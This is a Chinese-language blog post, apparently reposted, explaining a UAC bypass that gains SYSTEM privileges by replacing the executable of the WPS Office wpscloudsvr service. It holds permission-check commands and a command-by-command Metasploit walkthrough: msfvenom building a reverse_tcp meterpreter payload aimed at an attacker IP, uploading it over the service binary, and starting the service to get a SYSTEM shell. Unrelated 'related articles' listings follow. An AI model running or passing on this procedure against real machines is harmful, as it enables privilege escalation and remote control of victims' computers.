利用WPS-Office绕过UAC提权

简介: 利用WPS-Office绕过UAC提权


0x01 前言

wpscloudsvr服务用于提供WPSOffice云服务,其中包括:云文档,文件安全性,VIP服务等,以实现完整和安全的用户体验,及时更新和错误修复,停止此服务将禁用云服务和及时错误修复等。


但这个服务貌似并没有起到其实际作用,因为它默认为停止状态,启动类型为禁止或者手动,而且运行的是WPSOffice安装目录下的wpscloudsvr.exe,并非该服务指定的wpscloudsvr.exe。


本地测试环境信息:


操作系统:Windows 10教育版17134、Windows Server 2016 Datacenter
软件版本:WPS Office 2020 11.1.0.9999
WPS Office安装路径:D:\WPS Office\
WPS Office进程名:wps.exe、wpscloudsvr.exe等
WPS Office服务名:wpscloudsvr(WPS Office Cloud Service)


0x02 绕过原理分析

WPSOffice在安装时创建的wpscloudsvr服务默认是以SYSTEM权限运行的,而且允许在ApplicationPoolIdentity、NetworkService和未过UAC的用户启动和停止该服务,并且有权限替换服务指定的wpscloudsvr.exe,所以能够直接利用这种方式进行权限提升,但需要注意以下几点。

1. 不是所有服务都可以用未过UAC的用户来启动和停止的,如:KugouService、Everything等;

2. wpscloudsvr.exe Users权限问题,Win10和2016默认给的权限不一样,可能会替换不了文件;

3. WPSOffic新版本中可能已经修复该问题,可以替换文件,但是不能启动wpscloudsvr服务;

    get-acl .\wpscloudsvr.exe | format-list
    icacls wpscloudsvr.exe
    net start wpscloudsvr


    0x02 模拟实战测试

    (1) 使用MSF下的post/windows/gather/enum_services模块获取当前主机上的服务信息,找到一个以SYSTEM权限运行的wpscloudsvr服务,并且可用net命令停止和开启该服务。

      meterpreter > run post/windows/gather/enum_services


      (2) 既然有权限启动和停止wpscloudsvr服务,那么我们就直接将该服务的可执行文件替换为远控马或MSF攻击载荷,不过必须拥有Users完全控制权限才可替换,替换前记得备份一下,然后依次执行以下命令并重启wpscloudsvr服务后即可得到一个SYSTEM权限会话

        root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443-f exe > /tmp/wpscloudsvr.exe
        meterpreter > cd C:\\ProgramData\\Kingsoft\\office6\\
        meterpreter > cp wpscloudsvr.exe wpscloudsvr1.exe
        meterpreter > upload /tmp/wpscloudsvr.exe wpscloudsvr.exe
        meterpreter > execute -Hc -i -f "c:\\windows\\system32\\cmd.exe" -a "/c net start wpscloudsvr"


        参考文章:

        https://mp.weixin.qq.com/s/s1xWapre2xa5bAP-VoY_Ww

        相关文章
        |
        网络协议 Linux Android开发
        探索eBPF:Linux内核的黑科技(下)
        探索eBPF:Linux内核的黑科技
        |
        7月前
        |
        数据采集 安全 API
        高精度IP定位:准确性提升与数据优化全攻略
        使用IP数据云、IPinfo、IPnews这类专业的IP数据服务平台检测,不仅可以查询IP,更是一个网络风险识别仪器。对于跨境电商、安全研究人员,或者想提高上网隐私的人来说,都挺值得收藏学习。
        高精度IP定位:准确性提升与数据优化全攻略
        |
        数据可视化 开发者 C++
        Qt(C++)使用QChart静态显示3个设备的温度变化曲线
        QChart模块是Qt Charts库的基础,提供了用于创建和显示各种类型图表的类和接口。Qt Charts库是一个功能丰富、易于使用的数据可视化工具库,可以帮助开发者在应用程序中添加漂亮而又交互性强的图表。
        702 1
        Qt(C++)使用QChart静态显示3个设备的温度变化曲线
        |
        供应链 搜索推荐 算法
        淘宝电商运营的小秘籍,看完血赚。
        在淘宝电商竞争激烈的环境中,掌握实用运营技巧是成功的关键。本文深入剖析了淘宝电商运营的五大核心策略:精准市场定位与选品、引人入胜的店铺装修、优质客户服务、灵活营销推广及数据驱动决策。通过这些技巧,你可以在淘宝平台上打造独具魅力的店铺,吸引更多流量和客户,实现销售业绩稳步增长,最终脱颖而出,成为知名品牌。
        1848 10
        |
        机器学习/深度学习 人工智能 安全
        PyRIT:主动发现生成式 AI 系统潜在风险的开放式自动化框架
        【2月更文挑战第9天】PyRIT:主动发现生成式 AI 系统潜在风险的开放式自动化框架
        679 3
        PyRIT:主动发现生成式 AI 系统潜在风险的开放式自动化框架
        |
        SQL 安全 JavaScript
        告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
        【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
        612 5
        |
        存储 关系型数据库 MySQL
        MySQL性能优化指南
        【10月更文挑战第16天】MySQL性能优化指南
        1201 0
        |
        测试技术 块存储 开发者
        阿里云块存储团队软件工程实践
        本文介绍了阿里云团队软件工程实际开发流程,并简述了开发过程中遇到的一些问题。且附带案例,以及遇到案例中出现的情况应当如何应对。
        |
        Java BI
        itext itextpdf 版本概要介绍
        生成PDF报表的Java组件--iText 网上介绍的多是一些实例和使用方法,对于这个版本的使用需要注意的点主要是版本问题。 iText版本历史  http://itextpdf.com/history/  2.
        2918 0
        |
        Kubernetes Linux 网络安全
        K8S 离线安装版 1.23.1
        在准备Kubernetes (k8s) 集群部署时,执行了以下步骤: 1. 关闭防火墙和服务:`systemctl stop firewalld && systemctl disable firewalld`,并禁用SELinux和swap。 2. 添加主机条目到`/etc/hosts`,同步时间使用`ntpdate time.windows.com`。 3. 设置k8s仓库源,安装必要的工具,如`yum install yum-utils -y`。 4. 安装Docker,并下载k8s相关软件包。 5. 制作离线包,使用`docker save`保存镜像,然后在目标机器上用`docker
        1878 0